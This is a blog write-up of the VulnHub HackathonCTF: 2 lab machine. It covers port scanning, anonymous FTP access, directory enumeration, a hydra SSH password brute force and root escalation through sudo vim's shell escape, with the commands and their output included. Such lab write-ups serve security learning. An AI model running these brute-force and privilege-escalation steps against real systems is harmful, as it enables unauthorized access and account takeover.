VulnHub HackathonCTF: 2 Writeup

VulnHub.com website is an old friend of Cyber Security community and a very good resource for vulnerable machines so newbies can learn intrusive security skills, and experienced professionals can test their own skills.
VulnHub’s goal is simple, in their own words, “To provide materials that allows anyone to gain practical ‘hands-on’ experience in digital security, computer software & network administration”.

Machines provided cover a wide range of cyber security subjects. Machines are created and provided by the security community. The deal here is that you can download a vulnerable machine and run it on your machine, giving you much more control over it. The disadvantage is that you are running something that is not always verified by Vulnhub, and therefore may be dangerous to run on your own machine. Just have that in mind before running anything in a VM with full Internet access ;).

I’ve decided that it will be loads of fun running through the vulnerable machines and would also learn new and different ways to do a lot of stuff, so here we go!

Vulnerable Machine Information

Name: Hackathon2
Release Date: 2021-07-20
Author: Somu Sen
URL: https://www.vulnhub.com/entry/hackathonctf-2,714/
Difficulty: Easy
Description: This is a basic level BootToRoot machine for beginners. There are two flags. After finding the flag, tag me on Twitter(@Markme_1).

Service Enumeration

After running the machine in VMware, it got IP 172.16.236.128 which I’ll include in my /etc/hosts file to reference it by the name “ht2“, let’s first try to enumerate all services we have avaiable:

# nmap -A -T4 -p- ht2        
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 14:06 IST
Nmap scan report for 172.16.236.128
Host is up (0.00094s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1000     1000           47 Jun 18 17:32 flag1.txt
|_-rw-r--r--    1 1000     1000          849 Jun 19 05:11 word.dir
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.16.236.130
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_*/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: hackathon2
7223/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 70:4a:a9:69:c2:d1:68:23:86:bd:85:83:31:ca:80:0c (RSA)
|   256 a6:9e:a4:18:ad:a4:2b:7e:ea:f8:5e:63:29:6e:4f:24 (ECDSA)
|_  256 4e:db:a6:d2:eb:b9:53:a5:d7:21:0b:4e:57:a5:f5:c1 (ED25519)
MAC Address: 00:0C:29:3A:07:08 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.94 ms 172.16.236.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.45 seconds

FTP Service

The first service we can identify is FTP (21/TCP). Notice nmap tells us it accepts anonymous FTP Login, and we also have a flag1.txt file inside, from nmap ftp connection and directy listing.

This is our first FLAG that can be easily retrieved by either login into the FTP anonymously or simply by downloading it with wget:

# wget ftp://ht2/flag1.txt

The FTP also contains a “word.dir” file. Let’s download and see what it is:

# wget ftp://ht2/word.dir 
--2021-07-28 14:14:50--  ftp://ht2/word.dir
           => ‘word.dir’
Resolving ht2 (ht2)... 172.16.236.128
Connecting to ht2 (ht2)|172.16.236.128|:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE word.dir ... 849
==> PASV ... done.    ==> RETR word.dir ... done.
Length: 849 (unauthoritative)

word.dir                                                  100%[===================================================================>]     849  --.-KB/s    in 0.001s  

2021-07-28 14:14:50 (1.21 MB/s) - ‘word.dir’ saved [849]

──(root💀kali)-[~/scripts]
└─# wc -l word.dir                                                                                                                                                                                                              130 ⨯
110 word.dir
                                                                                                                                                                                                                                      
┌──(root💀kali)-[~/scripts]
└─# head -n 10 word.dir 
happy
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678

It is just a text file containing loads of passwords, 110 to be exact. Maybe it can be used in other attacks, we’ll soon find out.

I’ve also connected to the FTP service to see if we can traverse the directory we fall into but to no avail, the FTP service is configured with Jail that keeps us on the directory.

HTTP Service

OK, nothing else in FTP so I decided to check for anything else in the HTTP service identified. First running through our beloved “NIKTO” I couldn’t find anything. The “robots.txt” file present doesn’t give us any hint at all:

$ curl http://ht2/robots.txt
user-agent:*
disallow: */

user-agent:*
disallow: */

user-agent:*

Remember our “word.dir” file found in our FTP service? Let’s try to use it to enumerate directories and files:

$ gobuster dir -w word.dir --url http://ht2
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://ht2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                word.dir
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/07/28 15:29:25 Starting gobuster in directory enumeration mode
===============================================================
/happy                (Status: 200) [Size: 110]
                                               
===============================================================
2021/07/28 15:29:25 Finished
===============================================================

OK, apparently we have just one finding which is the file/directory “happy“. Acessing it in our browser gave us just a simple message:

But after using our beloved Dev Tolls (F12), we got this:

Now we have a username “hackathonll” to use.

SSH Service

The SSH Service found in this server is running on port 7223/TCP. After trying to connect with our recently found user “hackathonll” and same password it didn’t work. Let’s try to user the same “word.dir” file to bruteforce it:

$ hydra -l hackathonll -P word.dir ssh://ht2 -s 7223
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-28 15:37:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 110 login tries (l:1/p:110), ~7 tries per task
[DATA] attacking ssh://ht2:7223/
[7223][ssh] host: ht2   login: hackathonll   password: Ti@gO
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-28 15:38:01

Now we have the username and password to use. Let’s try to login to SSH now:

$ ssh hackathonll@ht2 -p 7223                                                                             255 ⨯
hackathonll@ht2's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-74-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 28 Jul 2021 02:38:58 PM UTC

  System load:  0.0                Processes:              225
  Usage of /:   24.1% of 18.57GB   Users logged in:        0
  Memory usage: 16%                IPv4 address for ens33: 172.16.236.128
  Swap usage:   0%


67 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jun 19 05:35:15 2021 from 10.0.0.110
$ whoami; id
hackathonll
uid=1001(hackathonll) gid=1001(hackathonll) groups=1001(hackathonll)

And there we go, now let’s start looking for flag 2 😉

Looking for FLAG 2 (Privilege Escalation)

First we have to get a better shell, as this one looks like “sh” and it is very limited. After just running “bash” in the shell, we get what we want:

$ echo $SHELL
/bin/sh
$ bash
hackathonll@hackathon:~$ 

First thing is look for lower hanging fruit, by trying to check the existence of “flag2.txt” file, but find commands didn’t show us a thing. Nobdy said it would be THAT easy.

None of the local files gave us any hint. Let’s look at the users in the system that have some sort of shell:

ackathonll@hackathon:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
dobash:x:1000:1000:hackathon:/home/dobash:/bin/bash
hackathonll:x:1001:1001:,,,:/home/hackathonll:/bin/sh

Only these have normal shells, apart from “root” and “hackathonll” we also have another user called “dobash”. Let’s look into our permissions in SUDO, to check if we can do something about it, maybe jumping into another user or something:

hackathonll@hackathon:~$ sudo -l
Matching Defaults entries for hackathonll on hackathon:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hackathonll may run the following commands on hackathon:
    (root) NOPASSWD: /usr/bin/vim

Apparently we can run “vim” as root. That is good news. Let’s try to do so:

hackathonll@hackathon:~$ sudo /usr/bin/vim

~                                                                                                                 
~                                                                                                                 
~                                                                                                                 
~                                                                                                                 
~                                               VIM - Vi IMproved                                                 
~                                                                                                                 
~                                                version 8.1.2269                                                 
~                                            by Bram Moolenaar et al.                                             
~                                    Modified by team+vim@tracker.debian.org                                      
~                                  Vim is open source and freely distributable                                    
~                                                                                                                 
~                                         Help poor children in Uganda!                                           
~                                 type  :help iccf<Enter>       for information                                   
~                                                                                                                 
~                                 type  :q<Enter>               to exit                                           
~                                 type  :help<Enter>  or  <F1>  for on-line help                                  
~                                 type  :help version8<Enter>   for version info                                  
~                                                                                                                 
~                                                                                                                 
~                                                                                     

Now let’s try a very old trick. VI and VIM can run commands inside by using “:!/<COMMAND>“, so if we wanted to use command “id” we could do “:!/bin/id“. Let’s try it.

hackathonll@hackathon:~$ sudo /usr/bin/vim

root@hackathon:/home/hackathonll# exit
exit

Press ENTER or type command to continue
uid=0(root) gid=0(root) groups=0(root)

Press ENTER or type command to continue

Now we are talking. Notice that command “id” in Linux, shows us the UID (User ID), GID (Group ID), and groups our user are part of. Notice that in this case, as “vim” is running with root permissions, the “id” command was also executed with root’s permission. This means we can get a shell running with root as well, which we will try right now by issuing “:!/bin/bash

hackathonll@hackathon:~$ sudo /usr/bin/vim

root@hackathon:/home/hackathonll# exit
exit

Press ENTER or type command to continue
uid=0(root) gid=0(root) groups=0(root)

Press ENTER or type command to continue
root@hackathon:/home/hackathonll# 

And there we go, now it is a matter of finding the flag file, which is right in our “/root” directory:

root@hackathon:/home/hackathonll# cd /root
root@hackathon:~# ls -lha
total 36K
drwx------  5 root root 4.0K Jun 18 17:42 .
drwxr-xr-x 20 root root 4.0K Jun 18 15:04 ..
-rw-------  1 root root 2.4K Jul 28 14:52 .bash_history
-rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
-rw-r--r--  1 root root   47 Jun 18 17:41 flag2.txt
drwxr-xr-x  3 root root 4.0K Jun 18 15:22 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
drwxr-xr-x  3 root root 4.0K Jun 18 15:09 snap
drwx------  2 root root 4.0K Jun 18 15:09 .ssh

Conclusion

As the description of this machine says, this was a very simple machine, very straightforward.

I hope you enjoyed this one. See you on the next post.

Related posts